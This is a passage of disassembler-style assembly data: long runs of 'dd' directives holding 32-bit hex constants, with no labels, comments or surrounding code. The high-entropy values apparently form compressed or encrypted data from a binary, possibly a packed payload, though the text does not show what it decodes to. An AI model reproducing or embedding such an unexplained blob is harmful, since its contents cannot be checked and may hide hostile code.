		dd 6372CA60h, 3741038Bh, 0F278CCBh, 7F3A4870h, 86B58088h
		dd 75525747h, 8E671CB2h, 1745C024h, 0C16E1E2Ch,	6B3F2100h
		dd 0F4AB580Ch, 0F1250E2Ah, 760E8C2h, 894C7BA1h,	0BE87FC00h
		dd 9E855B73h, 9FDE0067h, 0EE2FC664h, 8E06CBF4h,	4F362894h
		dd 0F7E431h, 0FF06AA6h,	0FDA4F508h, 4F168C94h, 0CBABA021h
		dd 914464h, 43AE2523h, 75E894C8h, 0C1767D16h, 9C395C49h
		dd 272D0030h, 9BBECDCh,	33245A89h, 500020E7h, 29EB9371h
		dd 74F10004h, 14A12CE4h, 0E88A4B2h, 3F4A7718h, 3F3DBA3h
		dd 1E3317FDh, 58A01A36h, 4048A8FEh, 91308094h, 0F1ED9FC2h
		dd 1C3BCC64h, 80B2A0E5h, 12F82F0h, 0E4918746h, 56E98F86h
		dd 5EE52240h, 7B00B4ACh, 0FC1DC980h, 613CE56h, 44BD0C2Bh
		dd 7F03F1DFh, 0E707881Eh, 7DA0C86Dh, 2BC4005Fh,	52A4C94Fh
		dd 2A3F05D0h, 0A078D8B6h, 0A85249EEh, 24BD9484h, 814C74EFh
		dd 98DD8DB7h, 0BB8404Fh, 0B2F09FECh, 9E3A9702h,	0C3B0ED88h
		dd 27BB906Ch, 0AEA81520h, 4A02B87Bh, 51E8A5B5h,	14000450h
		dd 291D8732h, 742FF66h,	0A950977Dh, 3DD78090h, 0C47A43A5h
		dd 157904BAh, 9083222Bh, 55DAB08h, 0AFDC20h, 0A32DDA8Eh
		dd 4D3C9423h, 0FB0CF463h, 0B0B173EFh, 0D1950041h, 3E179DCEh
		dd 3A122546h, 0C0097E9h, 0FC3CEF3Dh, 323900F3h,	0E606188Dh
		dd 6C0B3435h, 16165D37h, 0E34D00A8h, 94DBD821h,	0CCA82F10h
		dd 66FEAF84h, 0A2310B00h, 139E3250h, 587412C5h,	33C828Ch
		dd 4D2B033Ch, 0E9453FB7h, 0F5B4AE8h, 0EDD0FF54h, 1C921815h
		dd 0FD037DC8h, 60F98BC3h, 441EE50h, 22F76B8Ah, 5624C88Fh
		dd 1421613h, 8B7EBC1Ch,	0DC96699h, 3AFC90CFh, 5C65017Fh
		dd 7D6A4C3h, 7173EFD1h,	1E26417h, 505BAE01h, 0A8C43442h
		dd 0EBA000D5h, 32B41AA1h, 36017873h, 4BBA1164h,	2CD05737h
		dd 590E3946h, 3B96A80h,	4F840FD4h, 0DBA66F1Ch, 3913F680h
		dd 75A2D9BAh, 782E120Dh, 0E2CC1433h, 7FB29300h,	3698EB2Ch
		dd 57B1EC02h, 41D54D72h, 0FC40437Dh, 92C5816Eh,	0A5FB2A10h
		dd 0AC6F01C0h, 292B95BEh, 6AD851BBh, 0BCD18DB2h, 80602969h
		dd 41B660A6h, 395D98B0h, 0C610B960h, 0A975F2h, 12EEFBF3h
		dd 0DBA0925Fh, 449E611Dh, 358709Ch, 35A424h, 89C75DF4h
		dd 68DA4BC9h, 7DFBC00h,	0B05072ADh, 5FD3016Dh, 17C1EA83h
		dd 0A2B7FCA5h, 0C9AFFB00h, 0E3635DE0h, 55643C44h, 1BEB3884h
		dd 0A1E08156h, 0D875E51Ch, 0B6005E5Dh, 947A8786h, 4A7BB3Dh
		dd 0C3E26CE4h, 421B80ABh
		dd 445CCF69h, 0DF381Fh,	0E6111E23h, 39D950h, 5A6A56A6h
		dd 4B02A736h, 1BC86C00h, 5916883Bh, 6298B3h, 0D2D08B7Ch
		dd 7314032Bh, 6397CB07h, 0C0F318E7h, 0C0D6A25Bh, 0E378E0Ch
		dd 67150C13h, 63168240h, 400004A8h, 525CE25Ah, 0F4BEC9E9h
		dd 0F659011Bh, 21482519h, 1660F81Eh, 0EC4C500h,	4F3481EEh
		dd 3353E59h, 0F19DB301h, 0D88A0ADFh, 0F40025B9h, 3992C3D8h
		dd 0D55BB1h, 1FBF2FE2h,	0DB097690h, 10013200h, 73032D6Eh
		dd 12AD0069h, 0FD284A92h, 370038DFh, 3565EF23h,	1F7D4025h
		dd 0C004F37Bh, 11127E5Dh, 0B90086F8h, 0C87F03C5h, 0FFC97D5h
		dd 0FE7D89C3h, 6170A820h, 9C0BD1DCh, 87B5D476h,	4DD01A50h
		dd 18786946h, 3244B779h, 5F3AF376h, 4F5C00D1h, 7436D909h
		dd 0F013005Ah, 56CCBDFAh, 0E90021B8h, 69183895h, 0A939F4h
		dd 118F2A1Fh, 4AD225Ah,	3D69D09Fh, 2B8059D9h, 63EF24Ah
		dd 1C00453Bh, 0A4FE4F95h, 7BFFABh, 0E66BDC55h, 0D247C28Fh
		dd 1F00C4E0h, 0F51368Bh, 56D6CFCh, 78A7CCC5h, 25C1AE50h
		dd 9C6093C1h, 7500B467h, 405C8008h, 6A264BECh, 0C0005E75h
		dd 0C2467F83h, 1C69B5h,	153C21BCh, 13638B79h, 283D5Ch
		dd 1EA42DD9h, 24A2EC62h, 34162Ch, 508437Ah, 6E008980h
		dd 0D4871B9Eh, 79FECAh,	0F1487E5Ah, 0E5587F5Ch,	0B4FF2002h
		dd 605B1D67h, 39AB4E0Ch, 7734F6h, 2E8082CBh, 453EB161h
		dd 8E213500h, 956E40F1h, 58BE008Ah, 8D791354h, 2500DE68h
		dd 0D7341933h, 9C0ED67h, 0C2535DFDh, 1B631100h,	0FC9C3F9Dh
		dd 2C62B43h, 2D76F518h,	0A0A0403Ah, 20441DEh, 10F9F700h
		dd 0E9716DD9h, 8899482Fh, 8F0B9C42h, 0E4001BF5h, 201805D5h
		dd 68F03774h, 7EED18C0h, 6129C91h, 0F74EE628h, 8300A853h
		dd 363ED08Ah, 2E58B1h, 295BF025h, 85BACEE1h, 183DF12Eh
		dd 0C3E2C00h, 0EA3CC760h, 0B1BE01D9h, 7DF96790h, 7E7C4C9Ch
		dd 0AB3BEC0Ch, 0B6A0E8h, 9CFF2349h, 2E07FD4Eh, 0D560F000h
		dd 0A4F90F3Dh, 0BAA80191h, 9372CDDEh, 0D6C8CC8Fh, 0F0A12600h
		dd 8032458Eh, 0C94A096Ah, 1C8068B5h, 12789ED3h,	0E7C14C00h
		dd 0D8EB0879h, 0EDE63ED7h, 75F92500h, 0B25FEF02h, 5C725516h
		dd 33C280C0h, 256734Ah,	0C6C10A0Eh, 0B2628C96h,	7D0FB8C0h
		dd 30140B4h, 299BCF58h,	49C487E6h, 0D7781C50h, 9679004Ah
		dd 4ECB3C55h, 740C8692h, 60039CD0h, 8C890154h, 3CABEBD1h
		dd 66A7F83Ah, 0BE5E5838h, 0C05D57h, 16034652h, 0BF79E8h
		dd 0F262C80Bh, 42C12B0Fh, 18E449C1h, 0B9985733h, 0E8A950E9h
		dd 42B10B31h, 0E3F09958h, 588BF8D3h, 0AE0FD9D6h, 0CC60D9C0h
		dd 33506813h, 0C37886E7h, 74EA7FDh, 3A6CC5B2h, 181D807Ch
		dd 4030D459h, 0FEF499BDh, 4FF0009Fh, 3E944C5Bh,	90006B18h
		dd 99BBE858h, 0C0B679E1h, 0F12D9139h, 7714863Bh, 8A80ABD0h
		dd 3E93745Fh, 37C44300h, 0F67ADEE6h, 0D3D607DAh, 0FCD4EEh
		dd 241B35C2h, 0D84C900h, 486A0C92h, 5FAB30E8h, 8FCBB540h
		dd 96235801h, 7512E03h,	0E2DE7474h, 713989Eh, 0E1D230AEh
		dd 8AB70182h, 0E905F00Dh, 0F33CACF0h, 4A0A0185h, 9DB4F496h
		dd 9BF070h, 6FE3C7F5h, 2C6B3957h, 6F45548h, 0ADFF3C9Eh
		dd 99451850h, 1442D098h, 2BEDFB00h, 44C58397h, 880B03C9h
		dd 0D13C4BE4h, 0D7541801h, 615A686Eh, 0F058E8F0h, 5D213C02h
		dd 7B148A06h, 8500287Eh, 0CC6AA3C7h, 0E8ABE4ACh, 0B018C2D2h
		dd 0D8F1DF82h, 835CEC0h, 0D390073Ah, 4582E5BDh,	0A9800A4h
		dd 14866116h, 2AD40E00h, 13023A97h, 14B7D11h, 0E1D34C5Ah
		dd 9FA30152h, 0FB073430h, 41D0DA95h, 0AEF04Fh, 3A9D0B9Fh
		dd 731FC987h, 2890612Ah, 0A5AF5219h, 0C042E319h, 0DE32E69h
		dd 0A91D5770h, 99547E3Dh, 3A67C060h, 3735BE24h,	48A86516h
		dd 468785BFh, 9040731Ch, 98C0696Fh, 0C52B0556h,	0CD739DAh
		dd 6550253Ch, 4C2A7CA4h, 0EE5008E3h, 0E818B53Ch, 1019BE52h
		dd 84F5524Bh, 0DD248209h, 190C0823h, 0D5049010h, 35D01588h
		dd 49E1604Bh, 6ABC909Fh, 0C638EE60h, 3EA4C89Bh,	0DA3A4ED2h
		dd 1A7B428Ah, 0A10A89B8h, 0E4C4D85h, 60A08318h,	0FFCD3A39h
		dd 0F4649218h, 0A0535F59h, 0EA52791Ch, 39D71EE4h, 9099708Fh
		dd 6930D226h, 56881180h, 9E801D1h, 87D08C11h, 0BF84502Eh
		dd 822ED3D2h, 0D181FC45h, 9DEC4817h, 2A1109Dh, 9E4AD9C6h
		dd 30E3C400h, 181C60E7h, 0D11B0367h, 334D951h, 0C1077594h
		dd 0EF90483Ah, 5C5E9B40h, 19A0AB2Dh, 5859B478h,	1F00240Ah
		dd 79C17106h, 30102DDFh, 58A190E7h, 0A212ED1Dh,	0C8021680h
		dd 0A1B3630Ah, 970FDF84h, 0C03367D0h, 13A38270h, 9002C010h
		dd 0BCC2C650h, 7C5F0598h, 0C683BF40h, 40408668h, 0D43D567Eh
		dd 0DD1960E3h, 78096051h, 480C8386h, 213F87D1h,	4154AA18h
		dd 0BC52CD70h, 4D3C212Fh, 3A388C14h, 0ECB508D8h, 0D3911C88h
		dd 921AFF13h, 1040B0DDh, 28842C62h, 210CD530h, 71083F16h
		dd 271242EEh, 3C09AC23h, 0B9899F49h, 0B8A5D270h, 0DAD105F5h
		dd 9CD6C057h, 8D219D0h,	9392FCD0h, 0DC2D0048h, 6DC0C1EFh
		dd 0EC50B76Bh, 0F00D7B4h, 35029353h, 15E3CD2h, 4CFDED83h
		dd 30E9B714h, 306C6954h, 8CBD78D8h, 7E483604h, 0EF62EC58h
		dd 48CFA02Fh, 0C33023h,	0AF340850h, 43CA490h, 0DCFE58C2h
		dd 2525DC1Ah, 9966B048h, 845AE11h, 127E0400h, 0F8E58636h
		dd 0DD5F5919h, 2180FC08h, 0A41261CDh, 95019089h, 110A6D58h
		dd 0BBE05256h, 6F0D029Eh, 91EB9255h, 0AB3DD8A0h, 0B01C582h
		dd 180779A8h, 2BD17698h, 0F8DB219Fh, 8E06D480h,	0D96E21C1h
		dd 0FCB25606h, 465185F5h, 828402A7h, 31A00BBAh,	7BDC109Fh
		dd 0F2260082h, 81F6753Dh, 0E358CA52h, 500B383Ch, 1F0067BCh
		dd 34B021EAh, 1ADB11h, 5260DCD1h, 0BDE7358Eh, 9BE3541Eh
		dd 9545D300h, 777D663h,	661DFF6Dh, 0AAF7800Ch, 2007A23h
		dd 58459EDFh, 0E74F20Bh, 8453EF72h, 5324B6E7h, 86F07BB1h
		dd 833FCBACh, 0FAAB8365h, 0E0154CC5h, 809001h, 0FBDCF95Ah
		dd 0B4D74DFEh, 0ED96B700h, 698B9208h, 4CD175A5h, 0BE039239h
		dd 0B19976A8h, 25642AC0h, 4BA6BB07h, 0D540AA02h, 0AB4352h
		dd 26C3C9C5h, 328F9DC1h, 2000EC7Ah, 7DE58915h, 0E6C6439h
		dd 9E88C6F8h, 68007B8Fh, 5A98600Ah, 6F00117Fh, 49F46593h
		dd 1DDDE10Ch, 3D10636h,	0F65844B0h, 68B3DBA0h, 0E1476B06h
		dd 3F5096E6h, 0EF44E88Ch, 8008F76Fh, 18E2BDCDh,	93F10010h
		dd 5F8A3178h, 743C3214h, 29073067h, 3E814076h, 780E34h
		dd 4477752h, 36C758FEh,	0E0B3FC3Ch, 7A30D6B9h, 0E4A90079h
		dd 0E2CA321Dh, 0D7008823h, 0D63E6029h, 0C0FAD833h, 0CB57C559h
		dd 0D00078B8h, 95E02871h, 94CE4Ah, 0CD3FE37Bh, 0C8532D06h
		dd 6063EE37h, 4F4544C0h, 4EE806DFh, 909EA9Ch, 24217160h
		dd 0E44FA0h, 6ED243D3h,	0EA76FFA4h, 0FC31A1C7h,	0E57BDFC0h
		dd 0F7840075h, 7756F5BCh, 1360D81Ah, 0DC986CE0h, 81B000CAh
		dd 79F947DBh, 2E8482Bh,	0A4F2B9C0h, 0F5F0BCBh, 83C71011h
		dd 0C85259A0h, 0A61C25C6h, 4381A1D0h, 34E326FBh, 5E8DEECh
		dd 0A879C8Eh, 0E5C443F7h, 9903768Fh, 0A905175Ah, 77900798h
		dd 47B71A37h, 81B15470h, 0F0B814h, 0ECFD6364h, 0A1D8074Ch
		dd 116C8AAEh, 0AF49349Eh, 300D7C38h, 1A790F60h,	3E88E50h
		dd 3516EC00h, 1F558AA9h
		dd 0F82C50D0h, 154520EEh, 0C8871805h, 2038CCBBh, 248A4673h
		dd 824024EEh, 2BDF301h,	0B69533A8h, 0B5804376h,	92E34D23h
		dd 81387B12h, 67C54020h, 2ECC00C2h, 15B3A212h, 237E28BBh
		dd 0E3FB9112h, 8D8D1C0Eh, 79F03152h, 1A023EE1h,	0F3D1D401h
		dd 0CC570753h, 30003177h, 6469486Ch, 0A8EFE043h, 359BA8h
		dd 0FF09D138h, 27F6FCAFh, 6094AC4Ch, 391D2A21h,	0B1121378h
		dd 0C98300D7h, 0E88438E3h, 4C794660h, 3A3F692h,	0E5D1C435h
		dd 0BBAA1F0Dh, 18341849h, 4ACA04DEh, 32482B81h,	0C6B82007h
		dd 177383CAh, 4B874502h, 80A7D30Dh, 2E4FEB20h, 74C34953h
		dd 0D462B28Fh, 0FC33E6E8h, 445985Fh, 1B07FECDh,	0DDE62A3Ah
		dd 9176D440h, 6EA4A913h, 9EC88C4Bh, 71368EC0h, 2A6E6022h
		dd 0C4080D4h, 6A85F30Eh, 151AC686h, 12C946B0h, 740A4F5Ch
		dd 6B4458B6h, 4FB74940h, 0DF009403h, 4DE92C9Bh,	7B47485h
		dd 635C23FFh, 306F51ACh, 3030A153h, 87185A71h, 2DC54800h
		dd 0A0943551h, 1FEC120Dh, 0E59401BFh, 22CC4F23h, 0C6E3A2Ch
		dd 11FB7CBAh, 0ABD50F8Ch, 8BC00E35h, 8ABCE768h,	2100DBE9h
		dd 77ABCDB3h, 21E4DE5h,	0D68DA25Bh, 0E0805AA5h,	8F3F912Ah
		dd 354D1490h, 4979012Ch, 24760C22h, 3E3E3830h, 0FB0DC56Dh
		dd 0B98D6Fh, 81F042DCh,	0A51248F4h, 4448E031h, 12B8A4FCh
		dd 30406349h, 0FCD840FDh, 2BC71C83h, 76ADE518h,	28579h
		dd 15217897h, 0C3D4E6CCh, 7DAB0D04h, 0E8807172h, 0A9A729h
		dd 0FA3970DDh, 370B4F48h, 83CEFC3Fh, 0AC1A85E8h, 4B404CECh
		dd 0B86F6072h, 0D10B4797h, 0C8E0F900h, 0E3733874h, 377B263Bh
		dd 809E11D4h, 0E8D94F5Fh, 77448C5Eh, 20A26056h,	72C69E5Dh
		dd 4DAD0B0Ch, 13F8C09Dh, 727168DAh, 1098150h, 68793028h
		dd 0E40E4880h, 8AD3FFC5h, 78032098h, 0FD3211F6h, 6BD088B3h
		dd 10949B55h, 0C220439Ch, 1914F11Bh, 9F4420F9h,	4F463E8Ch
		dd 2246E1BAh, 494B0178h, 602A894Fh, 0D1A3C03Bh,	8AF4B44Ch
		dd 0D45F047Bh, 0A42520B0h, 7C342189h, 0DB018DBCh, 0CF7A3029h
		dd 79393004h, 80805D3Ah, 637B67B1h, 88E141FFh, 36435100h
		dd 5681AEAFh, 4E0300C0h, 0A8975A0Ch, 0FF18EF95h, 4796207h
		dd 28777959h, 0F244735Fh, 995700F6h, 0F5AC794Ah, 59C08CE1h
		dd 5C0C263Bh, 0F7BF8DBh, 360BBAD7h, 6C918EC0h, 6661FA2Dh
		dd 690E8D98h, 0FF5196h,	176EF948h, 0F4608115h, 3AABBE19h
		dd 0C3E73EDDh, 0D4219380h, 0F854B477h, 0F87BCB26h, 2CABD060h
		dd 8ABC210Eh, 7D8891h, 0FF34ABC7h, 99C16A81h, 0D800A0A3h
		dd 58DD5A27h, 625A32Ah,	9D6A7247h, 347E2085h, 34C0F829h
		dd 0E334830h, 4434A4D4h, 9F01B182h, 9CC591ABh, 9472E087h
		dd 152ABD48h, 888C5C90h, 0D0AFD4CBh, 0C5ADC280h, 0C6A0C817h
		dd 800CAB6h, 26FB499Bh,	3B62A504h, 2E99887h, 45296010h
		dd 88C6D00Ch, 0FC951F5h, 184A93AAh, 505C58F7h, 325D7D66h
		dd 97116150h, 885DEC6h,	0CDC8458h, 0E2184748h, 88289DF1h
		dd 0A621970h, 0F5F4D2h,	72E7227Ch, 911F08EDh, 9A571A01h
		dd 61EEA9FFh, 65CB9980h, 24458CC8h, 0C774B902h,	0EB09D041h
		dd 0B025F850h, 9DE092h,	39879EA2h, 67D1D05Fh, 7BA19766h
		dd 806C5479h, 1D98C046h, 0FFED048h, 84892512h, 3019F892h
		dd 4110CAD9h, 0B9E0C381h, 3912CAC1h, 0CCC8F01Bh, 24681F7Ch
		dd 40725CC4h, 54D15CDEh, 400F077h, 3D433755h, 0AB218FDh
		dd 0E6674076h, 45C83438h, 40900CD4h, 797A9180h,	32E00166h
		dd 1967EF33h, 549DF8FFh, 0EC643C96h, 0A4106449h, 0ABCBC07Ch
		dd 43740E37h, 84228Bh, 0DEABC3BDh, 9E8FA67Dh, 0BC91FF75h
		dd 0A80A243Ah, 7481E344h, 7708FDD1h, 43D32500h,	4608EB40h
		dd 80A496E0h, 0E860BC2Ch, 5105C5D6h, 0A3295D77h, 320EC442h
		dd 89022474h, 83D4073Ch, 11148908h, 10D4A234h, 0E22C4B1Eh
		dd 0E75F85A4h, 30BC52E3h, 8126C210h, 33C04707h,	5F40370Ch
		dd 31B27051h, 0DCC863A9h, 0E14C10F9h, 0C039DD8Eh, 0ED70CDD8h
		dd 9372DCB2h, 23462B25h, 0B3E1D4h, 72EDAE29h, 2116E01Bh
		dd 0E2D6D004h, 5CE175CBh, 581A0F8h, 0F419EB49h,	1C9012FFh
		dd 0B0A1226Ch, 3C001595h, 59E401F0h, 8AA00656h,	6987B2E5h
		dd 295BEE30h, 0F22FB348h, 58AEA77h, 6646E4D6h, 23F03B74h
		dd 9A51F82h, 1C10EE0Bh,	563F5B5Fh, 7C0738EAh, 87196660h
		dd 0C1416Dh, 19971EE5h,	9525634Dh, 0C43EF500h, 7D34053Dh
		dd 6909316Ah, 80E081E8h, 0D5184269h, 0DD86C9h, 0E880FA4Ch
		dd 16B2B350h, 618AEE30h, 13BC4F9Ah, 6FCB95DDh, 483238Ch
		dd 88D64303h, 7008604h,	0BA2189E3h, 1B2CB5Dh, 0FC9EAB19h
		dd 50F6EE7Eh, 0A48A28C8h, 37900300h, 5DA13C87h,	0DF9609FCh
		dd 20A3DE7Eh, 6913F8E4h, 60D079E5h, 0A4EC398Ch,	1B3007ECh
		dd 82C13518h, 5440149Ch, 6FECBE10h, 1D5A713h, 50ED2C4Eh
		dd 23BFC44h, 6E8AAEA6h,	7890C6F8h, 3111ABD1h, 8488C40Eh
		dd 0ABC82780h, 40E2B4h,	924FEA96h, 0BC4E83F6h, 63D1F400h
		dd 2216D5E7h, 5D6F24FFh, 59B34038h, 11C060EEh, 0D84DF184h
		dd 4CB60094h, 79AC979Ch, 0E74295Ah, 0A477362Ch,	0AD66D400h
		dd 0CF65EE40h, 6DE01139h, 8E051EBFh, 7297A207h,	4741B833h
		dd 54341BE1h, 5C289C6Dh, 13CD18FFh, 0C1DDB28Bh,	819EA090h
		dd 0D9A9FD08h, 8CD0FC2Bh, 928B10Bh, 0F080D05Eh,	30D69EBDh
		dd 0C01621C8h, 0A40E2BD8h, 60918A01h, 0F6E58BE4h, 0CC708415h
		dd 584E89Ch, 7D733C71h,	0ABAC00B3h, 93F1A8B0h, 0EECEAA01h
		dd 0D758474Ah, 40322460h, 35F87974h, 0C1F66E13h, 0D6420407h
		dd 798044FAh, 2174D9E9h, 0B5A71215h, 0F0F490F4h, 20F3CEBDh
		dd 0FB196704h, 2639EC6Fh, 0F66D8420h, 0AE5E0055h, 0DE321546h
		dd 1602ECE8h, 85F5C56Bh, 23A4319h, 13352658h, 9892Ch, 0BE5E6D80h
		dd 0DEE4A062h, 867B0725h, 811DE8ADh, 431C16C1h,	0D081EB24h
		dd 1EC0209Eh, 0DB38E00Ah, 3401833h, 0DFFAE12h, 0FCE1094Eh
		dd 493BC4C1h, 3EB4E700h, 55D0B042h, 81C000FDh, 6D96519Bh
		dd 0A416E583h, 588070F9h, 3DE15FC2h, 149E211Ch,	0FAFD419Eh
		dd 0CA64F185h, 0B811006Bh, 620590F6h, 51769ACh,	4075F493h
		dd 3D67E89Ch, 11D672B9h, 1060580Ch, 0F0AC70A1h,	4EC2467h
		dd 0F65880D0h, 6A413B7Eh, 26590102h, 0C3444234h, 6767B4F0h
		dd 0BB81C1CAh, 0C0110C48h, 0CAC0CE21h, 0DC09DFB4h, 1B161412h
		dd 0A556B8A8h, 239E004Fh, 253B2732h, 5F14E165h,	48440C71h
		dd 0DACDC0BCh, 0B3424C0h, 0E187C6FFh, 41779498h, 803C7C4Ch
		dd 0DB784AD7h, 4A505C0Eh, 40E75C16h, 0CAF62538h, 0C8A0C6E4h
		dd 8954B3E5h, 0D7DDB88h, 90860098h, 0DD655B38h,	77B9002Ch
		dd 9E03CDC7h, 0EEFF186Fh, 9DD52959h, 0E4C05A00h, 0BEB28440h
		dd 14E2078Eh, 0B0AEE8FAh, 0EF794AB5h, 0C98F9000h, 0F3A52A2Dh
		dd 0C2090729h, 0C575087Ah, 0DB6489E1h, 455BB7D0h, 0B814BC00h
		dd 95D85427h, 3EDE0A37h, 15D48FFAh, 0ED04B015h,	0C8EF8A0Dh
		dd 8F00D5ACh, 0ABC5E5FFh, 0F953280h, 0B40A87E0h, 0F33B1020h
		dd 685CCF1Eh, 0B19E0294h, 20746AFBh, 8872E62Ah,	99EE0212h
		dd 92535840h, 5314919Eh, 5401B03Ah, 0A1B5B91Dh,	4F7AC047h
		dd 1760E100h, 0E9D7EB6Fh, 71121DECh, 0C8DF402Ch, 0D914C93Bh
		dd 0F8936300h, 6CE57BD0h, 1C477856h, 40CEBB4Eh,	9F44570h
		dd 6B00C725h
		dd 85DFE63Eh, 1D22F8AEh, 41BA492Ch, 1F2E0E7Fh, 0C067DC66h
		dd 88177500h, 87635E91h, 7650012h, 985F823Ch, 0B27F93F8h
		dd 0DB449F00h, 7BD48BA4h, 0E33F002Eh, 9575B60Ch, 8E00572Fh
		dd 4E0918B1h, 0FB3A2F7h, 2411326Bh, 0C28188E0h,	0F5E6EF65h
		dd 4EFAAE00h, 7DE5FD3Ch, 57FB18A5h, 91E9D18Bh, 0F58608C7h
		dd 4F0B1660h, 551B00CAh, 0DB133BE8h, 5C039D4Bh,	66E7AEEBh
		dd 8AD81F86h, 0A94A4180h, 0C4346D52h, 0BA008B87h, 0B39F0B72h
		dd 30F00C90h, 830EAE7h,	99012757h, 5AEDD5F8h, 10EC9230h
		dd 49110050h, 0C7F6BE3Ch, 64F69D2Bh, 804AC801h,	0AB1DC6Fh
		dd 0A1B5E543h, 20813F97h, 2B4BE3A9h, 5B0C86Fh, 1C28DB00h
		dd 55221F92h, 0A1881C11h, 2BC440AEh, 3EF28AA6h,	16D38C9h
		dd 384F89C7h, 8F1B2886h, 72401896h, 0C3AC4033h,	3C4A89C1h
		dd 4C50F768h, 23E24BFAh, 8B11CD47h, 4BF5AB00h, 0A6BCD65Fh
		dd 9EE7CFF6h, 7780C418h, 7F4839BDh, 98F10C75h, 93B810D2h
		dd 4E54AF33h, 0BDB000D3h, 1DF735E6h, 3F33684Bh,	0F20924h
		dd 35FF5DD1h, 0C0F65CA2h, 3A693EC7h, 219976h, 6F6694EBh
		dd 2ADA73E8h, 0D3209605h, 0B43B5562h, 0E5009223h, 2106EF28h
		dd 38593CF2h, 29BC5280h, 98877FD2h, 2B0CFC7Fh, 107D5E28h
		dd 4C040097h, 0CE672405h, 0C73F6B37h, 0F4DEBC53h, 0DAFA6900h
		dd 75EAE062h, 49C8004Dh, 0D5A82F43h, 9AF0F9E3h,	1D5C353Dh
		dd 21407F74h, 8591567Bh, 8FD0096h, 0BAC5D736h, 6012BBE2h
		dd 6303D9FEh, 0E09B06E9h, 1F1D2155h, 620B97h, 7BA7CE7Ch
		dd 0E301166Eh, 8F6B8C8Dh, 9570A077h, 620100A1h,	0F58F19Bh
		dd 0B3001C5Ch, 0A37C8FE4h, 0E64CE861h, 8AA200BEh, 0AAEE2AB1h
		dd 100076Eh, 0A85C384Ah, 9E3476h, 465BEDDEh, 0B9728B1Ch
		dd 0D8BE5800h, 0FB26988Ch, 0C304ADF1h, 4843BF30h, 727C804h
		dd 0C0D7CE5Ch, 682B4E37h, 46E3644h, 0F18D0B6h, 1C270A24h
		dd 0DC18A110h, 0BEE7085Ah, 0F3200782h, 0FE4C14C0h, 0C3CF0619h
		dd 99070530h, 50092B6Dh, 30F33400h, 144CA1D7h, 786869BAh
		dd 8B580A58h, 898F1B1Ch, 9A50100Fh, 0D1509499h,	29604210h
		dd 4A108A7h, 1AFE7033h,	813198F0h, 9EF6406h, 882B0B2Bh
		dd 8B433F83h, 13082A30h, 0E2348B0Ch, 0B04C8616h, 40705318h
		dd 8150A578h, 0D2E94F98h, 2286E046h, 35173305h,	700EF590h
		dd 8A64A195h, 0F0F8318Eh, 0FC09D07Ah, 0EB040BADh, 0D1318F3Fh
		dd 48B0EA10h, 0A600AFB4h, 0AA16210Dh, 4D238A0h,	0FFCCF4A2h
		dd 3B81202Eh, 0B9F9044Dh, 41241555h, 18529A5Dh,	69C23898h
		dd 1892ECB3h, 0DCA21F18h, 3F8F49h, 5ECF911Ah, 1E750194h
		dd 3278F112h, 6E3C9C4Fh, 0A4207299h, 0FC54726h,	3BC1CDA4h
		dd 6951CA66h, 59301AE8h, 63F448C0h, 7B2F0077h, 20A6B8Eh
		dd 0C74D717h, 0A22C1C74h, 8B003A7Dh, 0F2509DB1h, 2B9B2625h
		dd 5782812Ch, 0D0810587h, 10C1B97Ah, 94B3BE91h,	4899A025h
		dd 0E0B809BDh, 1200E2EEh, 0E84519D3h, 1B0D49h, 169A9724h
		dd 62F37ED1h, 9DD42D00h, 0A2B91A99h, 5240026Eh,	0BA043226h
		dd 116F90A0h, 0AA50336Ah, 5F33228Ch, 0E289E9E8h, 0DB346057h
		dd 0AC543047h, 3F678689h, 1691A307h, 789C185h, 19C0579Ch
		dd 0A8175440h, 18F9B0B8h, 11624773h, 88A0FA0Ch,	0A5719C9Dh
		dd 3F958D00h, 61308F0Fh, 279E0607h, 68824740h, 80C57081h
		dd 0A0891108h, 8DB80Ah,	8F65B08Ah, 5C5A6EF5h, 78559112h
		dd 0A3010406h, 0CE9D0321h, 0E89A25F0h, 0A7EA1CEh, 85ACBE50h
		dd 9094A980h, 0DA2E00F8h, 8DC13EAAh, 80029C66h,	17BDA799h
		dd 74252528h, 0A0B001A8h, 0E02785ABh, 0DB5CB096h, 973854DDh
		dd 9F9DC1C0h, 52B6EA16h, 6B8FB833h, 80A1C870h, 8A6F2D76h
		dd 10032CDBh, 0D0BE8670h, 9B7F885Fh, 4B301AEh, 278FC90Ch
		dd 0BEE0BD6Fh, 51586148h, 0A4461B92h, 9F48310h,	7F3DC5D0h
		dd 6377A180h, 53789511h, 0A63F1D1Dh, 7589C8B0h,	0D41B0E81h
		dd 7A80E2E8h, 0B33C2EA3h, 863461C4h, 149D1307h,	0E6C092FEh
		dd 0BECE9082h, 8A08B808h, 843915F5h, 8872580Eh,	3318BD82h
		dd 3D8A4A8h, 45B1F2D1h,	6EC98A0h, 9F448CAEh, 0C94610D8h
		dd 0C9B26A4h, 502F8E43h, 0C2F21C81h, 234B47E8h,	0AFA3304Eh
		dd 23882944h, 9BD90614h, 228D204Ch, 0C0CC4B17h,	0C0DBF199h
		dd 4ADEBD29h, 0AA0151A8h, 9ACC2D1Bh, 0E82019B1h, 0D41A165Eh
		dd 0ED8C3017h, 0E30986D1h, 11D2B3ABh, 29908178h, 0C9158172h
		dd 3C418BB6h, 8820C11Ch, 58D7541Ah, 0FFB92422h,	0E79B0AB0h
		dd 53A44048h, 0F0A09042h, 241D2C0Ah, 0EA4094FFh, 0AFE3F308h
		dd 905C308Dh, 0A70B4BB0h, 9C80D600h, 6D509FFAh,	0ACD0008Ah
		dd 47CCFD65h, 1207E974h, 0DF920851h, 2036FCD0h,	911F046h
		dd 0EE171BCCh, 80FFB587h, 0BFD2D112h, 753040FAh, 8CEE390Fh
		dd 0A85F1E87h, 58012005h, 4188C044h, 67D8E257h,	3DB271CAh
		dd 0B0801977h, 0B547D411h, 0F267C50Eh, 48B35158h, 1FF0C3F7h
		dd 7EB18811h, 0EC99B306h, 0C70181A3h, 730DBFBAh, 3E6B450h
		dd 0F4A14183h, 6C8AE0B5h, 5E5710C0h, 0CCCC74Ch,	0C8EEE3Fh
		dd 773E4041h, 70850643h, 100633h, 0C60EC36Ah, 714F3682h
		dd 0AFB9C3Eh, 98D9A974h, 0DDA43E00h, 0B8DA41h, 3F34E21Bh
		dd 8D0E82DCh, 4266C703h, 0ED5149AAh, 9818843h, 0A9E6F82Bh
		dd 3377005Ah, 92BEAEDAh, 891E7414h, 70800CC9h, 0DBEBA375h
		dd 1DBC0090h, 711210B2h, 0CB39B77Eh, 60DC0420h,	0E847FF13h
		dd 0FEC2F8Eh, 0D9007111h, 0CBC9871Bh, 646649h, 0CCB6F56Ah
